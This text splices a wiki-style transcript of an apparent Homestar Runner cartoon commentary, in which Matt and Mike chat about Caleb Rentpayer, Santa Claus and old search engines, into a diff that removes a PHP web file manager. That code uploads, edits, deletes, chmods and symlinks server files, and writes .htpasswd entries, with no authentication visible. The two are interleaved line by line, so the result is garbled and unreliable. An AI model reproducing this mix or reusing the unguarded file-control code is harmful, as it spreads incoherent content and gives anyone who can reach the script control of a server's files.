'''MIKE:''' ''{interrupting}'' Yeah, a chocolate river with, like, a fudge canyon? ''{pause}'' So Caleb Rentpayer is a very good show!
-
ini_set('session.use_cookies', FALSE);
+
-
ini_set('session.use_trans_sid', FALSE);
+
-
session_name('id');
+
-
session_start();
+
-
/* Initialize dirlisting output */
+
'''MATT:''' I think so! I would like to see a full episode of Caleb Rentpayer and Tuxworth, his butler. So, did{{--}} Caleb somehow come into a lot of money, and that's why he suddenly has this butler?
-
$error = $notice = '';
+
-
$updatetreeview = FALSE;
+
-
/* Handle treeview requests */
+
'''MIKE:''' Maybe. You know what I'm just now thinking; I recently saw the movie ''Arthur'' again for the first time in twenty years, and it's sort of similar. Arthur is just kind of this, you know...
-
if (isset($_REQUEST['action'])) {
+
-
    switch ($_REQUEST['action']) {
+
-
    case 'treeon':
+
-
        $_SESSION['tree'] = array();
+
-
        $_SESSION['hassubdirs'][$treeroot] = tree_hassubdirs($treeroot);
+
-
        tree_plus($_SESSION['tree'], $_SESSION['hassubdirs'], $treeroot);
+
-
        frameset();
+
-
        exit;
+
-
    case 'treeoff':
+
-
        $_SESSION['tree'] = NULL;
+
-
        $_SESSION['hassubdirs'] = NULL;
+
-
        dirlisting();
+
-
        exit;
+
-
    }
+
-
}
+
-
/* Set current directory */
+
'''MATT:''' Vagabond?
-
if (!isset($_SESSION['dir'])) {
+
-
    $_SESSION['dir'] = $homedir;
+
-
    $updatetreeview = TRUE;
+
-
}
+
-
if (!empty($_REQUEST['dir'])) {
+
-
    $newdir = relpathtoabspath($_REQUEST['dir'], $_SESSION['dir']);
+
-
    /* If the requested directory is a file, show the file */
+
-
    if (@is_file($newdir) && @is_readable($newdir)) {
+
-
        /* if (@is_writable($newdir)) {
+
-
            $_REQUEST['edit'] = $newdir;
+
-
        } else */ if (is_script($newdir)) {
+
-
            $_GET['showh'] = $newdir;
+
-
        } else {
+
-
            $_GET['show'] = $newdir;
+
-
        }
+
-
    } elseif ($_SESSION['dir'] != $newdir) {
+
-
        $_SESSION['dir'] = $newdir;
+
-
        $updatetreeview = TRUE;
+
-
    }
+
-
}
+
-
/* Show a file */
+
'''MIKE:''' Well he's got all this money, but he's not, you know, he's got a butler, but he's not very nice to him{{--}}
-
if (!empty($_GET['show'])) {
+
-
    $show = relpathtoabspath($_GET['show'], $_SESSION['dir']);
+
-
    if (!show($show)) {
+
-
        $error= buildphrase('&quot;<b>' . htmlentities($show) . '</b>&quot;', $words['cantbeshown']);
+
-
    } else {
+
-
        exit;
+
-
    }
+
-
}
+
-
/* Show a file syntax highlighted */
+
'''MATT:''' Oh.
-
if (!empty($_GET['showh'])) {
+
-
    $showh = relpathtoabspath($_GET['showh'], $_SESSION['dir']);
+
-
    if (!show_highlight($showh)) {
+
-
        $error = buildphrase('&quot;<b>' . htmlentities($showh) . '</b>&quot;', $words['cantbeshown']);
+
-
    } else {
+
-
        exit;
+
-
    }
+
-
}
+
-
/* Upload file */
+
'''MIKE:''' And um... sort of, he's not quite as... disrespectful to his butler as{{--}} as Caleb{{--}} as Caleb is, ''{Matt laughs}'' but the but{{--}} the butler's always kind of trying to cover his tracks{{--}}
-
if (isset($_FILES['upload'])) {
+
-
    $file = relpathtoabspath($_FILES['upload']['name'], $_SESSION['dir']);
+
-
    if (@is_writable($_SESSION['dir']) && @move_uploaded_file($_FILES['upload']['tmp_name'], $file) && (!isset($uploadedfilepermission) || chmod($file, $uploadedfilepermission))) {
+
-
        $notice = buildphrase(array('&quot;<b>' . htmlentities(basename($file)) . '</b>&quot;', '&quot;<b>' . htmlentities($_SESSION['dir']) . '</b>&quot;'), $words['uploaded']);
+
-
    } else {
+
-
        $error = buildphrase(array('&quot;<b>' . htmlentities(basename($file)) . '</b>&quot;', '&quot;<b>' . htmlentities($_SESSION['dir']) . '</b>&quot;'), $words['notuploaded']);
+
-
    }
+
-
}
+
-
/* Create file */
+
'''MATT:''' Oh, okay.
-
if (!empty($_GET['create']) && $_GET['type'] == 'file') {
+
-
    $file = relpathtoabspath($_GET['create'], $_SESSION['dir']);
+
-
    if (substr($file, strlen($file) - 1, 1) == '/') $file = substr($file, 0, strlen($file) - 1);
+
-
    if (is_free($file) && touch($file) && ((!isset($newfilepermission)) || chmod($file, $newfilepermission))) {
+
-
        $notice = buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot;', $words['created']);
+
-
        $_REQUEST['edit'] = $file;
+
-
    } else {
+
-
        $error = buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot;', $words['notcreated']);
+
-
    }
+
-
}
+
-
/* Create directory */
+
'''MIKE:''' ...and, anyway...
-
if (!empty($_GET['create']) && $_GET['type'] == 'dir') {
+
-
    $file = relpathtoabspath($_GET['create'], $_SESSION['dir']);
+
-
    if (is_free($file) && @mkdir($file, $dirpermission)) {
+
-
        $notice = buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot;', $words['created']);
+
-
        $updatetreeview = TRUE;
+
-
        if (!empty($_SESSION['tree'])) {
+
-
            $file = spath(dirname($file));
+
-
            $_SESSION['hassubdirs'][$file] = TRUE;
+
-
            tree_plus($_SESSION['tree'], $_SESSION['hassubdirs'], $file);
+
-
        }
+
-
    } else {
+
-
        $error = buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot;', $words['notcreated']);
+
-
    }
+
-
}
+
-
/* Ask symlink target */
+
'''MATT:''' Poor Tuxworth.
-
if (!empty($_GET['symlinktarget']) && empty($_GET['symlink'])) {
+
-
    $symlinktarget = relpathtoabspath($_GET['symlinktarget'], $_SESSION['dir']);
+
-
    html_header($words['createsymlink']);
+
-
?>
+
-
    <form action="<?php echo($self); ?>" method="get">
+
-
    <input type="hidden" name="id" value="<?php echo(session_id()); ?>">
+
-
    <input type="hidden" name="symlinktarget" value="<?php echo(htmlentities($_GET['symlinktarget'])); ?>">
+
-
    <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
+
-
    <table border="0" cellspacing="1" cellpadding="4">
+
-
    <tr>
+
-
        <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td>
+
-
        <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td>
+
-
    </tr>
+
-
    <tr>
+
-
        <td colspan="2" bgcolor="#EEEEEE">
+
-
            <table border="0">
+
-
            <tr>
+
-
                <td valign="top"><?php echo($words['target']); ?>:&nbsp;</td>
+
-
                <td>
+
-
                    <b><?php echo(htmlentities($_GET['symlinktarget'])); ?></b><br>
+
-
                    <input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked>
+
-
                    <label for="checkbox_relative"><?php echo($words['reltarget']); ?></label>
+
-
                </td>
+
-
            </tr>
+
-
            <tr>
+
-
                <td><?php echo($words['symlink']); ?>:&nbsp;</td>
+
-
                <td><input type="text" name="symlink" value="<?php echo(htmlentities(spath(dirname($symlinktarget)))); ?>" size="<?php $size = strlen($_GET['symlinktarget']) + 9; if ($size < 30) $size = 30; echo($size);  ?>"></td>
+
-
            </tr>
+
-
            <tr>
+
-
                <td>&nbsp;</td>
+
-
                <td><input type="submit" value="<?php echo($words['create']); ?>"></td>
+
-
            </tr>
+
-
            </table>
+
-
        </td>
+
-
    </tr>
+
-
    </table>
+
-
    </td></tr></table>
+
-
    </form>
+
-
<?php
+
-
    html_footer();
+
-
    exit;
+
-
}
+
-
/* Create symlink */
+
'''MIKE:''' Yeah. ''{laughs}''
-
if (!empty($_GET['symlink']) && !empty($_GET['symlinktarget'])) {
+
-
    $symlink = relpathtoabspath($_GET['symlink'], $_SESSION['dir']);
+
-
    $target = $_GET['symlinktarget'];
+
-
    if (@is_dir($symlink)) $symlink = spath($symlink) . basename($target);
+
-
    if ($symlink == $target) {
+
-
        $error = buildphrase(array('&quot;<b>' . htmlentities($symlink) . '</b>&quot;', '&quot;<b>' . htmlentities($target) . '</b>&quot;'), $words['samefiles']);
+
-
    } else {
+
-
        if (@$_GET['relative'] == 'yes') {
+
-
            $target = abspathtorelpath(dirname($symlink), $target);
+
-
        } else {
+
-
            $target = $_GET['symlinktarget'];
+
-
        }
+
-
        if (is_free($symlink) && @symlink($target, $symlink)) {
+
-
            $notice = buildphrase('&quot;<b>' . htmlentities($symlink) . '</b>&quot;', $words['created']);
+
-
        } else {
+
-
            $error = buildphrase('&quot;<b>' . htmlentities($symlink) . '</b>&quot;', $words['notcreated']);
+
-
        }
+
-
    }
+
-
}
+
-
/* Delete file */
+
''{pause}''
-
if (!empty($_GET['delete'])) {
+
-
    $delete = relpathtoabspath($_GET['delete'], $_SESSION['dir']);
+
-
    if (@$_GET['sure'] == 'TRUE') {
+
-
        if (remove($delete)) {
+
-
            $notice = buildphrase('&quot;<b>' . htmlentities($delete) . '</b>&quot;', $words['deleted']);
+
-
        } else {
+
-
            $error = buildphrase('&quot;<b>' . htmlentities($delete) . '</b>&quot;', $words['notdeleted']);
+
-
        }
+
-
    } else {
+
-
        html_header($words['delete']);
+
-
?>
+
-
    <p>
+
-
    <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
+
-
    <table border="0" cellspacing="1" cellpadding="4">
+
-
    <tr>
+
-
        <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td>
+
-
        <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td>
+
-
    </tr>
+
-
    <tr>
+
-
        <td colspan="2" bgcolor="#FFFFFF"><?php echo(buildphrase('&quot;<b>' . htmlentities($delete) . '</b>&quot;', $words['suredelete'])); ?></td>
+
-
    </tr>
+
-
    <tr>
+
-
        <td colspan="2" align="center" bgcolor="#EEEEEE">
+
-
            <a href="<?php echo("$self?" . SID . '&delete=' . urlencode($delete) . '&sure=TRUE'); ?>">[ <?php echo($words['yes']); ?> ]</a>
+
-
        </td>
+
-
    </tr>
+
-
    </table>
+
-
    </td></tr></table>
+
-
    </p>
+
-
<?php
+
-
        html_footer();
+
-
        exit;
+
-
    }
+
-
}
+
-
/* Change permission */
+
'''MATT:''' Is that the only time that Homestar refers to the King of Town as... Santa Claus? Doesn't he call him Father Christmas, maybe, another time?  
-
if (!empty($_GET['permission'])) {
+
-
    $permission = relpathtoabspath($_GET['permission'], $_SESSION['dir']);
+
-
    if ($p = @fileperms($permission)) {
+
-
        if (!empty($_GET['set'])) {
+
-
            $p = 0;
+
-
            if (isset($_GET['ur'])) $p |= 0400; if (isset($_GET['uw'])) $p |= 0200; if (isset($_GET['ux'])) $p |= 0100;
+
-
            if (isset($_GET['gr'])) $p |= 0040; if (isset($_GET['gw'])) $p |= 0020; if (isset($_GET['gx'])) $p |= 0010;
+
-
            if (isset($_GET['or'])) $p |= 0004; if (isset($_GET['ow'])) $p |= 0002; if (isset($_GET['ox'])) $p |= 0001;
+
-
            if (@chmod($_GET['permission'], $p)) {
+
-
                $notice = buildphrase(array('&quot<b>' . htmlentities($permission) . '</b>&quot;', '&quot;<b>' . substr(octtostr("0$p"), 1) . '</b>&quot; (<b>' . decoct($p) . '</b>)'), $words['permsset']);
+
-
            } else {
+
-
                $error = buildphrase('&quot;<b>' . htmlentities($permission) . '</b>&quot;', $words['permsnotset']);
+
-
            }
+
-
        } else {
+
-
            html_header($words['permission']);
+
-
?>
+
-
    <form action="<?php echo($self); ?>" method="get">
+
-
    <input type="hidden" name="id" value="<?php echo(session_id()); ?>">
+
-
    <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
+
-
    <table border="0" cellspacing="1" cellpadding="4">
+
-
    <tr>
+
-
        <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td>
+
-
        <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td>
+
-
    </tr>
+
-
    <tr>
+
-
        <td bgcolor="#EEEEEE" colspan="2">
+
-
            <table>
+
-
            <tr>
+
-
                <td><?php echo($words['file']); ?>:</td>
+
-
                <td><input type="text" name="permission" value="<?php echo(htmlentities($permission)); ?>" size="<?php echo(textfieldsize($permission)); ?>"></td>
+
-
                <td><input type="submit" value="<?php echo($words['change']); ?>"></td>
+
-
            </tr>
+
-
            <tr>
+
-
                <td valign="top">
+
-
                    <?php echo($words['permission']); ?>:&nbsp;
+
-
                    </form><form action="<?php echo($self); ?>" method="get">
+
-
                    <input type="hidden" name="id" value="<?php echo(session_id()); ?>">
+
-
                    <input type="hidden" name="permission" value="<?php echo(htmlentities($permission)); ?>">
+
-
                    <input type="hidden" name="set" value="TRUE">
+
-
                </td>
+
-
                <td colspan="2">
+
-
                    <table border="0">
+
-
                    <tr>
+
-
                        <td>&nbsp;</td>
+
-
                        <td><?php echo($words['owner']); ?></td>
+
-
                        <td><?php echo($words['group']); ?></td>
+
-
                        <td><?php echo($words['other']); ?></td>
+
-
                    </tr>
+
-
                    <tr>
+
-
                        <td><?php echo($words['read']); ?>:</td>
+
-
                        <td align="center"><input type="checkbox" name="ur" value="1"<?php if ($p & 00400) echo(' checked'); ?>></td>
+
-
                        <td align="center"><input type="checkbox" name="gr" value="1"<?php if ($p & 00040) echo(' checked'); ?>></td>
+
-
                        <td align="center"><input type="checkbox" name="or" value="1"<?php if ($p & 00004) echo(' checked'); ?>></td>
+
-
                    </tr>
+
-
                    <tr>
+
-
                        <td><?php echo($words['write']); ?>:</td>
+
-
                        <td align="center"><input type="checkbox" name="uw" value="1"<?php if ($p & 00200) echo(' checked'); ?>></td>
+
-
                        <td align="center"><input type="checkbox" name="gw" value="1"<?php if ($p & 00020) echo(' checked'); ?>></td>
+
-
                        <td align="center"><input type="checkbox" name="ow" value="1"<?php if ($p & 00002) echo(' checked'); ?>></td>
+
-
                    </tr>
+
-
                    <tr>
+
-
                        <td><?php echo($words['exec']); ?>:</td>
+
-
                        <td align="center"><input type="checkbox" name="ux" value="1"<?php if ($p & 00100) echo(' checked'); ?>></td>
+
-
                        <td align="center"><input type="checkbox" name="gx" value="1"<?php if ($p & 00010) echo(' checked'); ?>></td>
+
-
                        <td align="center"><input type="checkbox" name="ox" value="1"<?php if ($p & 00001) echo(' checked'); ?>></td>
+
-
                    </tr>
+
-
                    </table>
+
-
                </td>
+
-
            </tr>
+
-
            <tr>
+
-
                <td>&nbsp;</td>
+
-
                <td colspan="2"><input type="submit" value="<?php echo($words['setperms']); ?>"></td>
+
-
            </tr>
+
-
            </table>
+
-
        </td>
+
-
    </tr>
+
-
    </table>
+
-
    </td></tr></table>
+
-
    </form>
+
-
<?php
+
-
            html_footer();
+
-
            exit;
+
-
        }
+
-
    } else {
+
-
        $error = buildphrase('&quot;<b>' . htmlentities($permission) . '</b>&quot;', $words['permsnotset']);
+
-
    }
+
-
}
+
-
/* Move file */
+
'''MIKE:''' Uhhm...
-
if (!empty($_GET['move'])) {
+
-
    $move = relpathtoabspath($_GET['move'], $_SESSION['dir']);
+
-
    if (!empty($_GET['destination'])) {
+
-
        $destination = relpathtoabspath($_GET['destination'], dirname($move));
+
-
        if (@is_dir($destination)) $destination = spath($destination) . basename($move);
+
-
        if ($move == $destination) {
+
-
            $error = buildphrase(array('&quot;<b>' . htmlentities($move) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['samefiles']);
+
-
        } else {
+
-
            if (is_free($destination) && @rename($move, $destination)) {
+
-
                $notice = buildphrase(array('&quot;<b>' . htmlentities($move) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['moved']);
+
-
            } else {
+
-
                $error = buildphrase(array('&quot;<b>' . htmlentities($move) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['notmoved']);
+
-
            }
+
-
        }
+
-
    } else {
+
-
        html_header($words['move']);
+
-
?>
+
-
    <form action="<?php echo($self); ?>" method="get">
+
-
    <input type="hidden" name="id" value="<?php echo(session_id()); ?>">
+
-
    <input type="hidden" name="move" value="<?php echo(htmlentities($move)); ?>">
+
-
    <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
+
-
    <table border="0" cellspacing="1" cellpadding="4">
+
-
    <tr>
+
-
        <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td>
+
-
        <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td>
+
-
    </tr>
+
-
    <tr>
+
-
        <td colspan="2" bgcolor="#EEEEEE">
+
-
            <table border="0">
+
-
            <tr>
+
-
                <td><?php echo($words['file']); ?>:&nbsp;</td>
+
-
                <td><b><?php echo(htmlentities($move)); ?></b></td>
+
-
            </tr>
+
-
            <tr>
+
-
                <td><?php echo($words['moveto']); ?>:&nbsp;</td>
+
-
                <td><input type="text" name="destination" value="<?php echo(htmlentities(spath(dirname($move)))); ?>" size="<?php echo(textfieldsize($move)); ?>"></td>
+
-
            </tr>
+
-
            <tr>
+
-
                <td>&nbsp;</td>
+
-
                <td><input type="submit" value="<?php echo($words['move']); ?>"></td>
+
-
            </tr>
+
-
            </table>
+
-
        </td>
+
-
    </tr>
+
-
    </table>
+
-
    </td></tr></table>
+
-
    </form>
+
-
<?php
+
-
        html_footer();
+
-
        exit;
+
-
    }
+
-
}
+
-
/* Copy file */
+
'''MATT:''' Or did we just discuss doing one or the other of those when we made this cartoon?
-
if (!empty($_GET['cpy'])) {
+
-
    $copy = relpathtoabspath($_GET['cpy'], $_SESSION['dir']);
+
-
    if (!empty($_GET['destination'])) {
+
-
        $destination = relpathtoabspath($_GET['destination'], dirname($copy));
+
-
          if (@is_dir($destination)) $destination = spath($destination) . basename($copy);
+
-
        if ($copy == $destination) {
+
-
            $error = buildphrase(array('&quot;<b>' . htmlentities($copy) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['samefiles']);
+
-
        } else {
+
-
            if (is_free($destination) && @copy($copy, $destination)) {
+
-
                $notice = buildphrase(array('&quot;<b>' . htmlentities($copy) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['copied']);
+
-
            } else {
+
-
                $error = buildphrase(array('&quot;<b>' . htmlentities($copy) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['notcopied']);
+
-
            }
+
-
        }
+
-
    } else {
+
-
        html_header($words['copy']);
+
-
?>
+
-
    <form action="<?php echo($self); ?>" method="get">
+
-
    <input type="hidden" name="id" value="<?php echo(session_id()); ?>">
+
-
    <input type="hidden" name="cpy" value="<?php echo(htmlentities($copy)); ?>">
+
-
    <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
+
-
    <table border="0" cellspacing="1" cellpadding="4">
+
-
    <tr>
+
-
        <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td>
+
-
        <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td>
+
-
    </tr>
+
-
    <tr>
+
-
        <td colspan="2" bgcolor="#EEEEEE">
+
-
            <table border="0">
+
-
            <tr>
+
-
                <td><?php echo($words['file']); ?>:&nbsp;</td>
+
-
                <td><b><?php echo(htmlentities($copy)); ?></b></td>
+
-
            </tr>
+
-
            <tr>
+
-
                <td><?php echo($words['copyto']); ?>:&nbsp;</td>
+
-
                <td><input type="text" name="destination" value="<?php echo(htmlentities(spath(dirname($copy)))); ?>" size="<?php echo(textfieldsize($copy)); ?>"></td>
+
-
            </tr>
+
-
            <tr>
+
-
                <td>&nbsp;</td>
+
-
                <td><input type="submit" value="<?php echo($words['copy']); ?>"></td>
+
-
            </tr>
+
-
            </table>
+
-
        </td>
+
-
    </tr>
+
-
    </table>
+
-
    </td></tr></table>
+
-
    </form>
+
-
<?php
+
-
        html_footer();
+
-
        exit;
+
-
    }
+
-
}
+
-
/* Save edited file */
+
'''MIKE:''' Yeah, I think{{--}} I don't know; I think that's the only time, Matt.
-
if (!empty($_POST['edit']) && isset($_POST['save'])) {
+
-
    $edit = relpathtoabspath($_POST['edit'], $_SESSION['dir']);
+
-
    if ($f = @fopen($edit, 'w')) {
+
-
        /* write file without carriage returns */
+
-
        fwrite($f, str_replace("\r\n", "\n", $_POST['content']));
+
-
        fclose($f);
+
-
        $notice = buildphrase('&quot;<b>' . htmlentities($edit) . '</b>&quot;', $words['saved']);
+
-
    } else {
+
-
        $error = buildphrase('&quot;<b>' . htmlentities($edit) . '</b>&quot;', $words['notsaved']);
+
-
    }
+
-
}
+
-
/* Edit file */
+
'''MATT:''' I think it was a toss-up between Father Christmas and Santa.
-
if (isset($_REQUEST['edit']) && !isset($_POST['save'])) {
+
-
    $file = relpathtoabspath($_REQUEST['edit'], $_SESSION['dir']);
+
-
    if (@is_dir($file)) {
+
-
        /* If the requested file is a directory, show the directory */
+
-
        $_SESSION['dir'] = $file;
+
-
        $updatetreeview = TRUE;
+
-
    } else {
+
-
        if ($f = @fopen($file, 'r')) {
+
-
            html_header($words['edit']);
+
-
?>
+
-
    <form action="<?php echo($self); ?>" method="get">
+
-
    <input type="hidden" name="id" value="<?php echo(session_id()); ?>">
+
-
    <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
+
-
    <table border="0" cellspacing="1" cellpadding="4">
+
-
    <tr>
+
-
        <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td>
+
-
        <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td>
+
-
    </tr>
+
-
    <tr>
+
-
        <td bgcolor="#EEEEEE" colspan="2">
+
-
            <table border="0" cellspacing="0" cellpadding="0">
+
-
            <tr>
+
-
                <td><?php echo($words['file']); ?>:&nbsp;</td>
+
-
                <td><input type="text" name="edit" value="<?php echo(htmlentities($file)); ?>" size="<?php echo(textfieldsize($file)); ?>">&nbsp;</td>
+
-
                <td><input type="submit" value="<?php echo($words['change']); ?>"></td>
+
-
            </tr>
+
-
            </table>
+
-
        </td>
+
-
    </tr>
+
-
    </table>
+
-
    </td></tr></table>
+
-
    </form>
+
-
    <form action="<?php echo($self); ?>" method="post" name="f">
+
-
    <input type="hidden" name="id" value="<?php echo(session_id()); ?>">
+
-
    <input type="hidden" name="edit" value="<?php echo(htmlentities($file)); ?>">
+
-
    <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
+
-
    <table border="0" cellspacing="1" cellpadding="4">
+
-
    <tr>
+
-
        <td bgcolor="#EEEEFF" align="center"><textarea name="content" rows="<?php echo($editrows); ?>" cols="<?php echo($editcols); ?>" wrap="off" style="background: #EEEEFF; border: none;"><?php
+
-
            if (isset($_POST['content'])) {
+
-
                echo(htmlentities($_POST['content']));
+
-
                if (isset($_POST['add']) && !empty($_POST['username']) && !empty($_POST['password'])) {
+
-
                    echo("\n" . htmlentities($_POST['username'] . ':' . crypt($_POST['password'])));
+
-
                }
+
-
            } else {
+
-
                echo(htmlentities(fread($f, filesize($file))));
+
-
            }
+
-
            fclose($f);
+
-
?></textarea></td>
+
-
    </tr>
+
-
<?php if (basename($file) == '.htpasswd') { /* specials with .htpasswd */ ?>
+
-
    <tr>
+
-
        <td bgcolor="#EEEEEE" align="center">
+
-
            <table border="0">
+
-
            <tr>
+
-
                <td><?php echo($words['username']); ?>:&nbsp;</td>
+
-
                <td><input type="text" name="username" size="15">&nbsp;</td>
+
-
                <td><?php echo($words['password']); ?>:&nbsp;</td>
+
-
                <td><input type="password" name="password" size="15">&nbsp;</td>
+
-
                <td><input type="submit" name="add" value="<?php echo($words['add']); ?>"></td>
+
-
            </tr>
+
-
            </table>
+
-
        </td>
+
-
    </tr>
+
-
<?php } if (basename($file) == '.htaccess') { /* specials with .htaccess */ ?>
+
-
    <tr>
+
-
        <td bgcolor="#EEEEEE" align="center"><input type="button" value="<?php echo($words['addauth']); ?>" onClick="autheinf()"></td>
+
-
    </tr>
+
-
<?php } ?>
+
-
    <tr>
+
-
        <td bgcolor="#EEEEEE" align="center">
+
-
            <input type="button" value="<?php echo($words['reset']); ?>" onClick="document.f.reset()">
+
-
            <input type="button" value="<?php echo($words['clear']); ?>" onClick="void(document.f.content.value='')">
+
-
            <input type="submit" name="save" value="<?php echo($words['save']); ?>">
+
-
        </td>
+
-
    </tr>
+
-
    </table>
+
-
    </td></tr></table>
+
-
    </form>
+
-
<?php
+
-
            html_footer();
+
-
            exit;
+
-
        } else {
+
-
            $error = buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot; ', $words['notopened']);
+
-
        }
+
-
    }
+
-
}
+
-
/* Show directory listing (and treeview) */
+
''{pause}''
-
if (!empty($_SESSION['tree'])) {
+
-
    if (isset($_REQUEST['frame']) && $_REQUEST['frame'] == 'treeview') {
+
-
        treeview();
+
-
    } else {
+
-
        if (isset($_GET['noupdate'])) $updatetreeview = FALSE;
+
-
        dirlisting(TRUE);
+
-
    }
+
-
} else {
+
-
    dirlisting();
+
-
}
+
-
/* ------------------------------------------------------------------------- */
+
'''MATT:''' Aww. Yeah, Caleb, I'd like to see you throw that suitcase!
-
function strip (&$str) {
+
''{pause}''
-
    $str = stripslashes($str);
+
-
}
+
-
function relpathtoabspath ($file, $dir) {
+
'''MATT:''' I remember taking a class on HTML in college and they{{--}} they talked all about Boolean operators and how to search for things on the Internet using Infoseek or AltaVista.
-
    $dir = spath($dir);
+
-
    if (substr($file, 0, 1) != '/') $file = $dir . $file;
+
-
    if (!@is_link($file) && ($r = realpath($file)) != FALSE) $file = $r;
+
-
    if (@is_dir($file) && !@is_link($file)) $file = spath($file);
+
-
    return $file;
+
-
}
+
-
function abspathtorelpath ($pos, $target) {
+
'''MIKE:''' ''{laughs}'' AltaVista! HotBot?
-
    $pos = spath($pos);
+
-
    $path = '';
+
-
    while ($pos != $target) {
+
-
        if ($pos == substr($target, 0, strlen($pos))) {
+
-
            $path .= substr($target, strlen($pos));
+
-
            break;
+
-
        } else {
+
-
            $path .= '../';
+
-
            $pos = strrev(strstr(strrev(substr($pos, 0, strlen($pos) - 1)), '/'));
+
-
        }
+
-
    }
+
-
    return $path;
+
-
}
+
-
function is_script ($file) {
+
'''MATT:''' ''{laughs}''
-
    return ereg('.php[3-4]?$', $file);
+
-
}
+
-
function spath ($path) {
+
'''MIKE:''' I remember{{--}}
-
    if (substr($path, strlen($path) - 1, 1) != '/') $path .= '/';
+
-
    return $path;
+
-
}
+
-
function textfieldsize ($str) {
+
'''MATT:''' Blue AND ones, NOT red AND ones! I think you could do "not", as well, couldn't you? ''{laughs}'' "This is just fine", Mike!
-
    $size = strlen($str) + 5;
+
-
    if ($size < 30) $size = 30;
+
-
    return $size;
+
-
}
+
-
function is_free ($file) {
+
'''MIKE:''' ''{laughs}''
-
    global $words;
+
-
    if (@file_exists($file) && empty($_GET['overwrite'])) {
+
-
        html_header($words['alreadyexists']);
+
-
?>
+
-
    <p>
+
-
    <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
+
-
    <table border="0" cellspacing="1" cellpadding="4">
+
-
    <tr>
+
-
        <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td>
+
-
        <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td>
+
-
    </tr>
+
-
    <tr>
+
-
        <td colspan="2" bgcolor="#FFFFFF"><?php echo(buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot;', $words['overwrite'])); ?></td>
+
-
    </tr>
+
-
    <tr>
+
-
        <td colspan="2" align="center" bgcolor="#EEEEEE">
+
-
            <a href="<?php echo("{$_SERVER['REQUEST_URI']}&overwrite=yes"); ?>">[ <?php echo($words['yes']); ?> ]</a>
+
-
        </td>
+
-
    </tr>
+
-
    </table>
+
-
    </td></tr></table>
+
-
    </p>
+
-
<?php
+
-
        html_footer();
+
-
        exit;
+
-
    }
+
-
    if (!empty($_GET['overwrite'])) {
+
-
        return remove($file);
+
-
    }
+
-
    return TRUE;
+
-
}
+
-
function remove ($file) {
+
'''MATT:''' It's the{{--}} we all know that Bubs, you know, just wants to rip you off and take your money but this is the first sort of criminal, uh, element that we've seen, or criminal...
-
    global $updatetreeview;
+
-
    if (@is_dir($file) && !@is_link($file)) {
+
-
        $error = FALSE;
+
-
        if ($p = @opendir($file = spath($file))) {
+
-
            while (($f = readdir($p)) !== FALSE)
+
-
                if ($f != '.' && $f != '..' && !remove($file . $f))
+
-
                    $error = TRUE;
+
-
        }
+
-
        if ($error) $x = FALSE; else $x = @rmdir($file);
+
-
        $updatetreeview = TRUE;
+
-
        if ($x && !empty($_SESSION['tree'])) {
+
-
            $file = spath(dirname($file));
+
-
            $_SESSION['hassubdirs'][$file] = tree_hassubdirs($file);
+
-
            tree_plus($_SESSION['tree'], $_SESSION['hassubdirs'], $file, TRUE);
+
-
        }
+
-
    } else {
+
-
        $x = @unlink($file);
+
-
    }
+
-
    return $x;
+
-
}
+
-
function getwords ($language) {
+
'''MIKE:''' I think we... I think there's a misspelling somewhere.
-
    switch ($language) {
+
-
    case 'de':
+
-
        $words['dir'] = 'Verzeichnis'; $words['file'] = 'Datei';
+
-
        $words['filename'] = 'Dateiname'; $words['size'] = 'Gr&ouml;&szlig;e'; $words['permission'] = 'Rechte'; $words['functions'] = 'Funktionen';
+
-
        $words['owner'] = 'Eigner'; $words['group'] = 'Gruppe'; $words['other'] = 'Andere';
+
-
